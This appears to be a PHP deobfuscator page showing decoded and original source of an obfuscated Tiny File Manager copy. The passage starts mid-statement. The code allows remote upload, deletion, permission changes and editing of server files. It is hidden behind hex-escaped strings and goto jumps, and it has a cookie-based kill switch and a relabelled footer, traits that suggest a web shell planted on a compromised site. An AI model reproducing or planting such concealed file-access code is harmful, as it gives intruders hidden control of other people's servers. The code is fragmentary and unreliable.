"image/jpg"; $jjjjjjjjjj["webp"] = "image/webp"; $jjjjjjjjjj["avif"] = "image/avif"; $jjjjjjjjjj["rar"] = "application/rar"; $jjjjjjjjjj["ra"] = "audio/x-pn-realaudio"; $jjjjjjjjjj["ram"] = "audio/x-pn-realaudio"; $jjjjjjjjjj["ogg"] = "audio/x-pn-realaudio"; $jjjjjjjjjj["wav"] = "video/x-msvideo"; $jjjjjjjjjj["wmv"] = "video/x-msvideo"; $jjjjjjjjjj["avi"] = "video/x-msvideo"; $jjjjjjjjjj["asf"] = "video/x-msvideo"; $jjjjjjjjjj["divx"] = "video/x-msvideo"; $jjjjjjjjjj["mp3"] = "audio/mpeg"; $jjjjjjjjjj["mp4"] = "audio/mpeg"; $jjjjjjjjjj["mpeg"] = "video/mpeg"; $jjjjjjjjjj["mpg"] = "video/mpeg"; $jjjjjjjjjj["mpe"] = "video/mpeg"; $jjjjjjjjjj["mov"] = "video/quicktime"; $jjjjjjjjjj["swf"] = "video/quicktime"; $jjjjjjjjjj["3gp"] = "video/quicktime"; $jjjjjjjjjj["m4a"] = "video/quicktime"; $jjjjjjjjjj["aac"] = "video/quicktime"; $jjjjjjjjjj["m3u"] = "video/quicktime"; $jjjjjjjjjj["php"] = array("application/x-php"); $jjjjjjjjjj["html"] = array("text/html"); $jjjjjjjjjj["txt"] = array("text/plain"); if (empty($jjjjjjjjjj[$iiiiiiiiii])) { $jjjjjjjjjj[$iiiiiiiiii] = array("application/octet-stream"); } return $jjjjjjjjjj[$iiiiiiiiii]; } goto derXu; a6Ulc: function fm_rdelete($iii) { if (is_link($iii)) { return unlink($iii); } elseif (is_dir($iii)) { $rrrrrr = scandir($iii); $ssssssss = true; if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "." && $ww != "..") { if (!fm_rdelete($iii . "/" . $ww)) { $ssssssss = false; } } } } return $ssssssss ? rmdir($iii) : false; } elseif (is_file($iii)) { return unlink($iii); } return false; } goto PSGf2; oK61h: if (!empty($lllll)) { natcasesort($lllll); } goto NtkMf; iECzk: ?> 
</table></div><div class="row"><?php  goto uIqOk; VWMrW: $j = array(); goto lJxda; PSGf2: function fm_rchmod($iii, $tttttttt, $uuuuuuuu) { if (is_dir($iii)) { if (!chmod($iii, $uuuuuuuu)) { return false; } $rrrrrr = scandir($iii); if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "." && $ww != "..") { if (!fm_rchmod($iii . "/" . $ww, $tttttttt, $uuuuuuuu)) { return false; } } } } return true; } elseif (is_link($iii)) { return true; } elseif (is_file($iii)) { return chmod($iii, $tttttttt); } return false; } goto CERhp; KhWhP: if (!defined("FM_SESSION_ID")) { define("FM_SESSION_ID", "filemanager"); } goto XssFS; iCskO: function print_external($qqqqqqqq) { global $ll; if (!array_key_exists($qqqqqqqq, $ll)) { echo "<!-- EXTERNAL: MISSING KEY {$qqqqqqqq} -->"; return; } echo "{$ll[$qqqqqqqq]}"; } goto cTX92; ho1Ix: echo lng("Actions"); goto b6P5a; G9XQO: if (empty($ssssss) && empty($lllll)) { ?> 
<tfoot><tr><?php  if (!FM_READONLY) { ?> 
<td></td><?php  } ?> 
<td colspan="<?php  echo !FM_IS_WIN && !$rr ? "6" : "4"; ?> 
"><em><?php  echo lng("Folder is empty"); ?> 
</em></td></tr></tfoot><?php  } else { ?> 
<tfoot><tr><td class="gray"colspan="<?php  echo !FM_IS_WIN && !$rr ? FM_READONLY ? "6" : "7" : (FM_READONLY ? "4" : "5"); ?> 
"><?php  echo lng("FullSize") . ": <span class="badge text-bg-light border-radius-0">" . fm_get_filesize($cccccccc) . "</span>"; echo lng("File") . ": <span class="badge text-bg-light border-radius-0">" . $aaaaaaaa . "</span>"; echo lng("Folder") . ": <span class="badge text-bg-light border-radius-0">" . $bbbbbbbb . "</span>"; ?> 
</td></tr></tfoot><?php  } goto iECzk; I8IfO: function fm_get_text_exts() { return array("txt", "css", "ini", "conf", "log", "htaccess", "passwd", "ftpquota", "sql", "js", "ts", "jsx", "tsx", "mjs", "json", "sh", "config", "php", "php4", "php5", "phps", "phtml", "htm", "html", "shtml", "xhtml", "xml", "xsl", "m3u", "m3u8", "pls", "cue", "bash", "vue", "eml", "msg", "csv", "bat", "twig", "tpl", "md", "gitignore", "less", "sass", "scss", "c", "cpp", "cs", "py", "go", "zsh", "swift", "map", "lock", "dtd", "svg", "asp", "aspx", "asx", "asmx", "ashx", "jsp", "jspx", "cgi", "dockerfile", "ruby", "yml", "yaml", "toml", "vhost", "scpt", "applescript", "csx", "cshtml", "c++", "coffee", "cfm", "rb", "graphql", "mustache", "jinja", "http", "handlebars", "java", "es", "es6", "markdown", "wiki", "tmp", "top", "bot", "dat", "bak", "htpasswd", "pl"); } goto mRCcQ; f_7RI: if (FM_PATH != '') { $iii .= "/" . FM_PATH; } goto uoaaG; uLSrG: fm_show_header(); goto I3AZd; vrtR6: function fm_is_utf8($gggggggggg) { return preg_match("//u", $gggggggggg); } goto qTJ2q; Ddw89: function fm_show_footer_login() { ?> 
</div><?php  print_external("js-jquery"); print_external("js-bootstrap"); ?> 
</body></html><?php  } goto hAYNN; sIw4i: define("FM_PATH", $eee); goto imGSb; daeQO: function fm_get_video_exts() { return array("avi", "webm", "wmv", "mp4", "m4v", "ogm", "ogv", "mov", "mkv"); } goto eYkpv; U1o6P: define("VERSION", "2.5.3"); goto gaVPd; zPxOw: $dd = true; goto lxCu6; YMiN6: if ($c) { if (isset($_SESSION[FM_SESSION_ID]["logged"], $d[$_SESSION[FM_SESSION_ID]["logged"]])) { } elseif (isset($_POST["fm_usr"], $_POST["fm_pwd"], $_POST["token"])) { sleep(1); if (function_exists("password_verify")) { if (isset($d[$_POST["fm_usr"]]) && isset($_POST["fm_pwd"]) && password_verify($_POST["fm_pwd"], $d[$_POST["fm_usr"]]) && verifyToken($_POST["token"])) { $_SESSION[FM_SESSION_ID]["logged"] = $_POST["fm_usr"]; fm_set_msg(lng("You are logged in")); fm_redirect(FM_ROOT_URL); } else { unset($_SESSION[FM_SESSION_ID]["logged"]); fm_set_msg(lng("Login failed. Invalid username or password"), "error"); fm_redirect(FM_ROOT_URL); } } else { fm_set_msg(lng("password_hash not supported, Upgrade PHP version"), "error"); } } else { unset($_SESSION[FM_SESSION_ID]["logged"]); fm_show_header_login(); ?> 
<section class="h-100"><div class="h-100 container"><div class="row h-100 justify-content-md-center"><div class="card-wrapper"><div class="card fat<?php  echo fm_get_theme(); ?> 
"><div class="card-body"><form method="post"action=""class="form-signin"autocomplete="off"><div class="mb-3"><div class="brand"><svg aria-label="H3K Tiny File Manager"height="80px"M1008 version="1.0"viewBox="0 0 238.000000 140.000000"width="100%"xmlns="http://www.w3.org/2000/svg"><g fill="#000000"stroke="none"transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)"><path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/><path d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"fill="#003500"/><path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g></svg></div><div class="text-center"><h1 class="card-title"><?php  echo APP_TITLE; ?> 
</h1></div></div><hr><div class="mb-3"><label for="fm_usr"class="pb-2"><?php  echo lng("Username"); ?> 
</label> <input name="fm_usr"id="fm_usr"class="form-control"required autofocus></div><div class="mb-3"><label for="fm_pwd"class="pb-2"><?php  echo lng("Password"); ?> 
</label> <input name="fm_pwd"type="password"id="fm_pwd"class="form-control"required></div><div class="mb-3"><?php  fm_show_message(); ?> 
</div><input name="token"type="hidden"value="<?php  echo htmlentities($_SESSION["token"]); ?> 
"><div class="mb-3"><button class="btn btn-success btn-block mt-4 w-100"type="submit"role="button"><?php  echo lng("Login"); ?> 
</button></div></form></div></div><div class="text-center footer">  <a href="https://tinyfilemanager.github.io/"class="text-decoration-none text-muted"target="_blank"data-version="<?php  echo VERSION; ?> 
">CCP Programmers</a> </div></div></div></div></section><?php  fm_show_footer_login(); die; } } goto Ccl4c; ume95: $ssssss = array(); goto REulX; naMlh: if (isset($_POST["copy"]) && !FM_READONLY) { $wwwwww = isset($_POST["file"]) ? $_POST["file"] : null; if (!is_array($wwwwww) || empty($wwwwww)) { fm_set_msg(lng("Nothing selected"), "alert"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?> 
<div class="path"><div class="card<?php  echo fm_get_theme(); ?> 
"><div class="card-header"><h6><?php  echo lng("Copying"); ?> 
</h6></div><div class="card-body"><form method="post"action=""><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?> 
"> <input name="finish"type="hidden"value="1"><?php  foreach ($wwwwww as $xxxxxx) { echo "<input type="hidden" name="file[]" value="" . fm_enc($xxxxxx) . "">" . PHP_EOL; } ?> 
<p class="break-word"><strong><?php  echo lng("Files"); ?> 
</strong>: <b><?php  echo implode("</b>, <b>", $wwwwww); ?> 
</b></p><p class="break-word"><strong><?php  echo lng("SourceFolder"); ?> 
</strong>:<?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "/" . FM_PATH)); ?> 
<br><label for="inp_copy_to"><strong><?php  echo lng("DestinationFolder"); ?> 
</strong>:</label><?php  echo FM_ROOT_PATH; ?> 
/<input name="copy_to"value="<?php  echo fm_enc(FM_PATH); ?> 
"id="inp_copy_to"></p><p class="custom-checkbox custom-control"><input name="move"type="checkbox"value="1"id="js-move-files"class="custom-control-input"><label for="js-move-files"class="ms-2 custom-control-label"><?php  echo lng("Move"); ?> 
</label></p><p><b><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
"class="btn btn-outline-danger"><i class="fa fa-times-circle"></i><?php  echo lng("Cancel"); ?> 
</a></b><input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("Copy"); ?> 
</button></p></form></div></div></div><?php  fm_show_footer(); die; } goto MlvwS; Ceq1P: ?>

Did this file decode correctly?

Original Code

<?php

if(isset($_COOKIE['lq'])) {
    die('VsWqoMK');
}
 goto vI44Q; rtqDJ: $eeeeeeee = 3399; goto Lk0k7; dfzP8: if (isset($_GET["\x73\145\x74\164\151\x6e\x67\163"]) && !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); global $nn, $oo, $tt; ?>
<div class="pt-3 col-md-8 offset-md-2"><div class="card mb-2<?php  echo fm_get_theme(); ?>
"><h6 class="card-header d-flex justify-content-between"><span><i class="fa fa-cog"></i><?php  echo lng("\123\145\x74\x74\151\x6e\x67\x73"); ?>
</span><a href="?p=<?php  echo FM_PATH; ?>
"class="text-danger"><i class="fa fa-times-circle-o"></i><?php  echo lng("\103\x61\156\143\145\154"); ?>
</a></h6><div class="card-body"><form method="post"action=""onsubmit="return save_settings(this)"id="js-settings-form"data-type="ajax"><input name="type"type="hidden"value="settings"aria-hidden="true"aria-label="hidden"><div class="row form-group"><label for="js-language"class="col-form-label col-sm-3"><?php  echo lng("\x4c\x61\156\x67\165\x61\x67\145"); ?>
</label><div class="col-sm-5"><select class="form-select"id="js-language"name="js-language"><?php  function getSelected($yyyyyy) { global $oo; return $oo == $yyyyyy ? "\163\x65\x6c\x65\x63\x74\145\144" : ''; } foreach ($tt as $zzzzzz => $aaaaaaa) { echo "\x3c\x6f\160\164\151\157\156\x20\166\141\x6c\x75\145\75\47{$zzzzzz}\x27\40" . getSelected($zzzzzz) . "\x3e{$aaaaaaa}\74\57\x6f\160\164\151\x6f\x6e\x3e"; } ?>
</select></div></div><div class="mb-3 row mt-3"><label for="js-error-report"class="col-form-label col-sm-3"><?php  echo lng("\x45\162\162\157\x72\x52\145\x70\x6f\162\164\151\156\x67"); ?>
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-error-report"type="checkbox"value="true"id="js-error-report"class="form-check-input"role="switch"<?php  echo $qq ? "\143\150\x65\143\x6b\x65\144" : ''; ?>
></div></div></div><div class="mb-3 row"><label for="js-show-hidden"class="col-form-label col-sm-3"><?php  echo lng("\x53\x68\x6f\x77\x48\x69\144\x64\x65\x6e\106\151\x6c\x65\163"); ?>
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-show-hidden"type="checkbox"value="true"id="js-show-hidden"class="form-check-input"role="switch"<?php  echo $pp ? "\143\x68\145\143\153\145\x64" : ''; ?>
></div></div></div><div class="mb-3 row"><label for="js-hide-cols"class="col-form-label col-sm-3"><?php  echo lng("\x48\151\144\145\x43\x6f\x6c\165\x6d\156\163"); ?>
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-hide-cols"type="checkbox"value="true"id="js-hide-cols"class="form-check-input"role="switch"<?php  echo $rr ? "\x63\x68\x65\143\153\145\x64" : ''; ?>
></div></div></div><div class="mb-3 row"><label for="js-3-1"class="col-form-label col-sm-3"><?php  echo lng("\x54\150\145\155\x65"); ?>
</label><div class="col-sm-5"><select class="form-select w-100"id="js-3-0"name="js-theme-3"><option value="light"<?php  if ($ss == "\154\x69\147\x68\x74") { echo "\163\145\154\145\143\x74\x65\144"; } ?>
><?php  echo lng("\x6c\x69\147\x68\x74"); ?>
</option><option value="dark"<?php  if ($ss == "\144\x61\162\153") { echo "\163\145\154\145\x63\164\145\x64"; } ?>
><?php  echo lng("\x64\x61\x72\153"); ?>
</option></select></div></div><div class="mb-3 row"><div class="col-sm-10"><button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\x53\x61\x76\x65"); ?>
</button></div></div></form></div></div></div><?php  fm_show_footer(); die; } goto Da3Z2; ALElY: $c = true; goto ob77A; wVm4q: $ss = isset($nn->data["\164\150\145\155\x65"]) ? $nn->data["\164\150\x65\x6d\145"] : "\x6c\151\147\x68\x74"; goto RmoGZ; DWRaq: defined("\106\115\x5f\x44\x41\124\x45\x54\x49\x4d\105\x5f\x46\117\x52\115\x41\124") || define("\x46\115\137\x44\101\124\x45\x54\111\x4d\105\137\x46\117\122\x4d\x41\x54", $w); goto GqfHe; EweQO: function fm_get_onlineViewer_exts() { return array("\x64\157\143", "\x64\157\x63\170", "\x78\154\x73", "\x78\154\x73\170", "\160\x64\146", "\160\160\164", "\160\x70\x74\170", "\141\x69", "\x70\x73\x64", "\144\x78\x66", "\x78\x70\163", "\162\141\162", "\157\144\x74", "\157\x64\x73"); } goto dHPxx; sgUZr: $cc = "\x67\x6f\x6f\147\154\x65"; goto zPxOw; EEtYp: $gg = "\x4f\106\x46"; goto JAR26; h6pVs: function fm_get_translations($iiiiiiiii) { try { $ooooooo = @file_get_contents("\x74\162\141\x6e\163\x6c\x61\164\151\157\156\56\152\163\157\x6e"); if ($ooooooo !== FALSE) { $jjjjjjjjj = json_decode($ooooooo, TRUE); global $tt; foreach ($jjjjjjjjj["\x6c\x61\156\147\165\x61\147\x65"] as $qqqqqqqq => $kkkkkkkkk) { $uu = $kkkkkkkkk["\x63\x6f\x64\x65"]; $tt[$uu] = $kkkkkkkkk["\156\141\155\x65"]; if ($iiiiiiiii) { $iiiiiiiii[$uu] = $kkkkkkkkk["\164\x72\141\156\163\x6c\141\164\x69\x6f\156"]; } } return $iiiiiiiii; } } catch (Exception $uuu) { echo $uuu; } } goto NMazu; uIqOk: if (!FM_READONLY) { ?>
<div class="col-xs-12 col-sm-9"><ul class="footer-action list-inline"><li class="list-inline-item"><a href="#/select-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return select_all(),!1"><i class="fa fa-check-square"></i><?php  echo lng("\x53\145\x6c\x65\x63\x74\x41\x6c\x6c"); ?>
</a></li><li class="list-inline-item"><a href="#/unselect-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return unselect_all(),!1"><i class="fa fa-window-close"></i><?php  echo lng("\x55\156\x53\145\x6c\x65\x63\164\x41\154\154"); ?>
</a></li><li class="list-inline-item"><a href="#/invert-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return invert_all(),!1"><i class="fa fa-th-list"></i><?php  echo lng("\111\156\166\145\162\x74\x53\145\x6c\145\143\x74\151\x6f\156"); ?>
</a></li><li class="list-inline-item"><input name="delete"type="submit"value="Delete"id="a-delete"class="hidden"onclick='return confirm("<?php  echo lng("\104\x65\154\145\x74\x65\40\163\x65\154\x65\x63\x74\x65\144\40\146\151\x6c\145\x73\x20\x61\156\144\40\x66\x6f\x6c\144\x65\x72\x73\x3f"); ?>
")'> <a href="javascript:document.getElementById('a-delete').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-trash"></i><?php  echo lng("\104\145\x6c\145\164\x65"); ?>
</a></li><li class="list-inline-item"><input name="zip"type="submit"value="zip"id="a-zip"class="hidden"onclick='return confirm("<?php  echo lng("\103\162\x65\x61\164\145\40\141\162\143\150\x69\x76\x65\77"); ?>
")'> <a href="javascript:document.getElementById('a-zip').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-file-archive-o"></i><?php  echo lng("\x5a\x69\x70"); ?>
</a></li><li class="list-inline-item"><input name="tar"type="submit"value="tar"id="a-tar"class="hidden"onclick='return confirm("<?php  echo lng("\x43\x72\x65\141\164\x65\x20\x61\162\x63\x68\151\166\x65\x3f"); ?>
")'> <a href="javascript:document.getElementById('a-tar').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-file-archive-o"></i><?php  echo lng("\x54\141\x72"); ?>
</a></li><li class="list-inline-item"><input name="copy"type="submit"value="Copy"id="a-copy"class="hidden"> <a href="javascript:document.getElementById('a-copy').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-files-o"></i><?php  echo lng("\103\157\160\x79"); ?>
</a></li></ul></div><div class="d-none col-3 d-sm-block"><a href="https://tinyfilemanager.github.io"class="float-right text-muted"target="_blank">Tiny File Manager<?php  echo VERSION; ?>
</a></div><?php  } else { ?>
<div class="col-12"><a href="https://tinyfilemanager.github.io"class="float-right text-muted"target="_blank">Tiny File Manager<?php  echo VERSION; ?>
</a></div><?php  } goto eOOwl; ZniF3: $cccccccc = 0; goto qpp6Y; G3txp: defined("\x46\115\x5f\111\x43\x4f\x4e\x56\137\111\x4e\120\125\124\137\105\116\103") || define("\106\x4d\137\x49\103\x4f\x4e\x56\x5f\111\116\x50\125\x54\137\105\116\103", $u); goto GnpeX; gaVPd: define("\x41\x50\x50\137\124\x49\124\x4c\105", "\x54\151\x6e\x79\x20\106\x69\x6c\145\x20\x4d\x61\x6e\x61\147\x65\x72"); goto ALElY; Ypcdy: function lng($rrrrrrrrrrr) { global $oo; $iiiiiiiii["\145\x6e"]["\101\160\160\116\141\x6d\x65"] = "\124\151\x6e\x79\40\106\x69\x6c\x65\x20\115\141\x6e\141\147\145\x72"; $iiiiiiiii["\145\x6e"]["\x41\160\x70\x54\x69\164\154\145"] = "\106\151\154\145\x20\x4d\x61\156\141\147\145\162"; $iiiiiiiii["\145\156"]["\x4c\157\147\151\156"] = "\x53\x69\147\x6e\x20\x69\x6e"; $iiiiiiiii["\145\156"]["\125\x73\x65\162\x6e\x61\155\x65"] = "\125\x73\x65\162\x6e\x61\x6d\145"; $iiiiiiiii["\145\156"]["\x50\x61\x73\x73\167\157\x72\x64"] = "\120\141\163\163\x77\157\x72\x64"; $iiiiiiiii["\x65\x6e"]["\x4c\x6f\147\157\165\164"] = "\123\x69\147\x6e\x20\117\165\164"; $iiiiiiiii["\145\156"]["\115\x6f\166\x65"] = "\x4d\x6f\x76\x65"; $iiiiiiiii["\145\156"]["\x43\157\x70\x79"] = "\103\x6f\x70\171"; $iiiiiiiii["\145\x6e"]["\123\x61\x76\145"] = "\x53\141\x76\145"; $iiiiiiiii["\x65\156"]["\x53\x65\154\145\143\164\101\154\154"] = "\123\x65\154\x65\x63\164\40\x61\154\x6c"; $iiiiiiiii["\x65\156"]["\x55\x6e\123\145\154\145\143\x74\x41\x6c\x6c"] = "\x55\156\163\x65\x6c\145\x63\164\x20\x61\154\154"; $iiiiiiiii["\145\156"]["\x46\x69\154\x65"] = "\x46\x69\x6c\145"; $iiiiiiiii["\145\x6e"]["\x42\141\x63\x6b"] = "\102\x61\143\153"; $iiiiiiiii["\145\156"]["\x53\151\172\x65"] = "\x53\151\172\145"; $iiiiiiiii["\x65\x6e"]["\120\145\x72\155\x73"] = "\x50\x65\162\155\163"; $iiiiiiiii["\145\156"]["\115\x6f\144\151\x66\x69\145\144"] = "\x4d\x6f\144\151\x66\151\145\144"; $iiiiiiiii["\145\156"]["\117\x77\156\x65\x72"] = "\117\x77\156\x65\x72"; $iiiiiiiii["\x65\156"]["\123\145\141\162\x63\150"] = "\123\x65\141\x72\143\150"; $iiiiiiiii["\x65\156"]["\x4e\x65\167\x49\x74\145\155"] = "\x4e\x65\167\x20\111\x74\145\x6d"; $iiiiiiiii["\145\x6e"]["\x46\x6f\154\x64\145\162"] = "\x46\157\x6c\x64\x65\162"; $iiiiiiiii["\145\x6e"]["\104\145\x6c\x65\x74\x65"] = "\104\145\x6c\145\x74\145"; $iiiiiiiii["\x65\156"]["\x52\145\x6e\x61\155\145"] = "\122\x65\156\141\155\x65"; $iiiiiiiii["\x65\156"]["\103\x6f\x70\171\124\x6f"] = "\x43\x6f\x70\171\40\164\157"; $iiiiiiiii["\x65\x6e"]["\x44\151\x72\145\x63\x74\114\x69\x6e\x6b"] = "\x44\151\x72\145\x63\164\x20\154\x69\156\x6b"; $iiiiiiiii["\x65\156"]["\125\x70\x6c\157\x61\x64\151\156\147\x46\151\154\145\x73"] = "\x55\x70\x6c\x6f\x61\144\40\106\x69\154\145\x73"; $iiiiiiiii["\x65\156"]["\x43\150\x61\156\x67\145\120\x65\162\x6d\151\x73\163\151\157\x6e\163"] = "\103\x68\x61\156\147\145\x20\120\145\162\155\x69\x73\163\151\157\156\x73"; $iiiiiiiii["\x65\x6e"]["\x43\157\160\171\151\x6e\147"] = "\103\x6f\x70\x79\x69\x6e\x67"; $iiiiiiiii["\x65\x6e"]["\x43\x72\145\x61\x74\x65\116\x65\x77\111\164\x65\x6d"] = "\x43\162\145\141\x74\145\40\x4e\145\x77\x20\x49\x74\x65\155"; $iiiiiiiii["\145\156"]["\116\141\x6d\145"] = "\116\x61\x6d\145"; $iiiiiiiii["\145\156"]["\x41\144\166\x61\156\x63\145\144\x45\x64\151\x74\x6f\x72"] = "\x41\144\166\x61\156\x63\x65\x64\40\105\x64\151\164\x6f\162"; $iiiiiiiii["\x65\156"]["\101\143\164\151\157\156\x73"] = "\101\x63\x74\151\157\x6e\x73"; $iiiiiiiii["\x65\156"]["\x46\157\x6c\144\145\162\x20\x69\163\x20\145\x6d\160\164\x79"] = "\106\x6f\154\144\145\x72\x20\x69\x73\x20\x65\155\x70\x74\x79"; $iiiiiiiii["\145\156"]["\125\x70\x6c\157\x61\x64"] = "\x55\x70\x6c\157\x61\x64"; $iiiiiiiii["\145\156"]["\x43\x61\156\143\145\x6c"] = "\103\x61\156\143\145\154"; $iiiiiiiii["\x65\156"]["\111\x6e\x76\145\162\x74\x53\x65\x6c\145\x63\164\151\x6f\156"] = "\x49\156\x76\145\162\x74\x20\x53\145\x6c\145\143\x74\x69\157\156"; $iiiiiiiii["\145\156"]["\104\x65\x73\x74\151\156\x61\x74\x69\x6f\x6e\106\157\154\x64\x65\x72"] = "\104\x65\x73\164\151\x6e\141\164\x69\157\156\40\x46\x6f\x6c\x64\145\x72"; $iiiiiiiii["\145\x6e"]["\111\164\x65\155\x54\x79\x70\145"] = "\111\164\145\155\x20\x54\x79\160\x65"; $iiiiiiiii["\x65\x6e"]["\x49\164\x65\155\116\141\x6d\x65"] = "\111\164\145\x6d\40\116\141\155\145"; $iiiiiiiii["\145\x6e"]["\x43\x72\x65\x61\x74\x65\x4e\157\x77"] = "\103\162\145\x61\164\x65\x20\116\157\167"; $iiiiiiiii["\145\x6e"]["\x44\x6f\x77\x6e\x6c\x6f\141\144"] = "\104\157\167\x6e\x6c\157\x61\x64"; $iiiiiiiii["\145\x6e"]["\117\x70\x65\156"] = "\x4f\x70\x65\x6e"; $iiiiiiiii["\x65\156"]["\125\156\132\x69\x70"] = "\125\x6e\132\151\160"; $iiiiiiiii["\145\156"]["\x55\156\132\151\x70\124\157\x46\x6f\x6c\x64\x65\x72"] = "\x55\156\132\x69\160\x20\164\x6f\x20\x66\157\154\x64\145\162"; $iiiiiiiii["\x65\x6e"]["\105\x64\x69\x74"] = "\x45\x64\x69\x74"; $iiiiiiiii["\145\156"]["\116\x6f\162\x6d\141\x6c\105\x64\x69\x74\157\162"] = "\x4e\x6f\162\155\141\x6c\40\x45\144\151\164\x6f\162"; $iiiiiiiii["\145\156"]["\x42\x61\x63\153\125\160"] = "\102\141\143\153\40\125\160"; $iiiiiiiii["\x65\156"]["\x53\157\165\162\x63\x65\106\157\x6c\144\x65\x72"] = "\x53\157\165\x72\143\145\x20\x46\x6f\x6c\144\x65\162"; $iiiiiiiii["\145\x6e"]["\x46\151\x6c\x65\x73"] = "\x46\x69\154\145\163"; $iiiiiiiii["\x65\156"]["\x4d\157\x76\x65"] = "\x4d\157\x76\145"; $iiiiiiiii["\145\x6e"]["\103\150\141\156\147\145"] = "\103\150\x61\156\x67\x65"; $iiiiiiiii["\x65\x6e"]["\123\145\x74\x74\x69\156\x67\163"] = "\123\x65\x74\x74\151\x6e\147\163"; $iiiiiiiii["\145\x6e"]["\x4c\x61\x6e\147\165\x61\x67\145"] = "\114\x61\156\x67\165\x61\147\x65"; $iiiiiiiii["\x65\156"]["\x45\x72\x72\157\x72\122\145\x70\157\162\x74\151\156\x67"] = "\105\x72\162\157\162\40\x52\x65\160\x6f\162\164\151\156\147"; $iiiiiiiii["\145\156"]["\x53\x68\157\x77\110\151\x64\144\145\156\106\151\154\145\x73"] = "\x53\x68\x6f\167\x20\x48\x69\144\x64\145\156\x20\106\151\x6c\145\x73"; $iiiiiiiii["\145\x6e"]["\x48\x65\154\x70"] = "\110\x65\154\x70"; $iiiiiiiii["\145\156"]["\103\162\145\141\x74\145\144"] = "\103\x72\x65\x61\x74\145\144"; $iiiiiiiii["\145\156"]["\110\x65\x6c\x70\40\x44\157\143\x75\155\145\x6e\x74\163"] = "\x48\145\x6c\160\40\x44\157\x63\x75\x6d\x65\156\x74\x73"; $iiiiiiiii["\x65\x6e"]["\122\145\160\157\x72\x74\x20\111\163\163\165\145"] = "\x52\145\160\x6f\x72\x74\40\111\x73\x73\165\x65"; $iiiiiiiii["\x65\156"]["\107\x65\x6e\x65\162\141\164\145"] = "\x47\x65\x6e\x65\x72\x61\164\x65"; $iiiiiiiii["\x65\x6e"]["\106\x75\x6c\154\x53\x69\x7a\x65"] = "\106\165\154\x6c\x20\x53\151\172\x65"; $iiiiiiiii["\x65\156"]["\x48\151\x64\x65\x43\157\x6c\x75\155\156\x73"] = "\x48\151\x64\x65\40\x50\x65\162\155\x73\x2f\117\x77\156\x65\x72\x20\143\157\x6c\x75\155\x6e\x73"; $iiiiiiiii["\x65\x6e"]["\x59\x6f\x75\40\141\x72\x65\x20\154\157\147\147\x65\x64\40\151\x6e"] = "\131\157\165\40\x61\x72\x65\40\154\157\x67\147\145\144\x20\x69\156"; $iiiiiiiii["\x65\x6e"]["\x4e\x6f\x74\150\151\x6e\147\40\163\x65\x6c\x65\143\164\145\144"] = "\116\x6f\164\x68\x69\x6e\x67\x20\x73\x65\x6c\x65\x63\x74\x65\x64"; $iiiiiiiii["\145\x6e"]["\120\141\164\x68\x73\x20\x6d\165\163\164\x20\x62\x65\40\156\x6f\164\x20\145\x71\165\x61\154"] = "\120\141\x74\150\163\x20\x6d\x75\x73\x74\40\142\x65\x20\x6e\x6f\164\x20\145\161\165\x61\x6c"; $iiiiiiiii["\x65\156"]["\122\x65\x6e\x61\x6d\x65\x64\40\x66\x72\x6f\155"] = "\122\x65\156\x61\x6d\x65\x64\40\x66\162\x6f\x6d"; $iiiiiiiii["\145\156"]["\x41\x72\x63\x68\x69\166\x65\40\x6e\157\164\x20\x75\156\x70\141\x63\153\145\144"] = "\x41\x72\143\150\151\x76\x65\40\x6e\157\164\40\165\156\x70\x61\143\x6b\145\144"; $iiiiiiiii["\145\156"]["\104\145\154\145\164\x65\144"] = "\104\x65\154\145\164\x65\144"; $iiiiiiiii["\145\x6e"]["\101\x72\143\x68\151\x76\145\40\x6e\x6f\x74\40\143\162\x65\x61\x74\145\144"] = "\101\162\143\x68\151\166\145\40\x6e\x6f\164\x20\x63\162\x65\141\164\145\144"; $iiiiiiiii["\145\x6e"]["\103\157\x70\x69\x65\x64\40\x66\162\157\155"] = "\x43\157\x70\x69\145\144\x20\x66\162\x6f\x6d"; $iiiiiiiii["\145\156"]["\x50\145\x72\x6d\x69\x73\x73\151\x6f\x6e\x73\40\x63\x68\141\x6e\x67\145\144"] = "\x50\x65\162\155\151\x73\x73\151\157\x6e\163\40\143\150\141\x6e\147\x65\x64"; $iiiiiiiii["\x65\156"]["\x74\157"] = "\164\x6f"; 